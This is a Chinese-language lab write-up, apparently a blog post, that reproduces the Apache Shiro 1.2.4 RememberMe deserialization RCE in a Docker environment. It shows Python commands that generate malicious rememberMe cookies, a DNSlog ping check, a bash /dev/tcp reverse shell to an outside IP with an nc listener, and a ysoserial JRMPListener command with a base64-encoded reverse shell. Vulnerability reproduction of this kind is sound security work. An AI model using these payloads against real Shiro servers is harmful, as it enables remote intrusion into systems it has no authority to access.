Shiro RememberMe 1.2.4 反序列化命令执行漏洞复现 kali docker

Shiro RememberMe 1.2.4 反序列化命令执行漏洞复现


影响版本:Apache Shiro <= 1.2.4
漏洞产生原因:

shiro默认使用了CookieRememberMeManager,其处理cookie的流程是:得到rememberMe的cookie值–>Base64解码–>AES解密–>反序列化。
然而AES的密钥是硬编码的,就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞。使用大佬脚本生成 payload(ysoserial.jar文件和运行目录处于同一目录)

漏洞环境搭建

1.拉取镜像
docker pull medicean/vulapps:s_shiro_1
2.启动环境
docker run -d -p 80:8080 -p 7777:6666 medicean/vulapps:s_shiro_1
如需进入环境,命令为
docker exec -it name /bin/bash
3.web访问
http://127.0.0.1 能看到如下页面即可
在这里插入图片描述
或虚拟机外面用真实ip访问
在这里插入图片描述至此漏洞环境搭建成功

漏洞复现

1.抓包测试
查看返回包里setcookie有rememberme的字样
在这里插入图片描述
2.继续测试
首先最简单的测试方法是用dnslog,看看是否有回显。
利用POC生成想要执行的命令对应的rememberMe
3.工具准备
在这里插入图片描述
生成payload的脚本使用的是python3,运行报错就安装一下模块
4.生成payload:
双引号中是想要执行的命令,如果这里没有公网VPS,就用dnslog来证明。攻击原理一样,不认可的杠精可直接怼

py -3 shiro_1.2.4.py "ping 39p2wo.dnslog.cn"

运行结果如下图:
在这里插入图片描述
然后便会在脚本所在目录下生成文件payload.cookie

5.回到浏览器抓包

用payload.cookie中的rememberMe内容加入Cookie中,或者直接放进参数中,提交看页面回显和dnslog页面是否有数据过去
6.到ceye平台查看日志记录
dnslog日志刷新后有记录了,说明payloda执行成功
在这里插入图片描述

反弹shell

当然了,有VPS的情况下,为何不反弹一下shell呢?
1.使用脚本生成key
反弹shell的命令:bash -i >& /dev/tcp/22.45.13.9/7878 0>&1

py -3 shiro_1.2.4.py "bash -i >& /dev/tcp/22.45.13.9/7878 0>&1"

PS:ip假的,不打码,观看流畅
2.先公网VPS监听反弹shell的命令

nc -lvp 7878

在这里插入图片描述
3.加入payload,提交数据包
在这里插入图片描述
这里使用curl也能达到burp的效果

// 加 -I 是只看响应头,这里主要关注set-cookie:rememberMe
curl -X GET http://172.16.12.132 --cookie “xxxxxxxxxxxxx” -I

讲这个是因为此方法可以用来初步探测shiro信息
在这里插入图片描述

4.vps收到了反弹回来的shell

在这里插入图片描述

题外话1

研究这个漏洞,是因为客户要求排查下资产,然后找不到集成的工具和一键式检查的。
漏洞的事情OK了,还是觉得自己太菜,要是代码够给力,写个集成的丢github上就真的香。

题外话2

还有一个思路,看大佬文章时,这里一直没搞懂。字面意思是用ysoserial中的JRMP监听模块来搞定的,后续学会了再补上笔记

 java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 3888 CommonsCollections5 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMi84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}'

在这里插入图片描述
参考链接:
https://www.jianshu.com/p/0007eafd1f92
https://www.secpulse.com/archives/112742.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值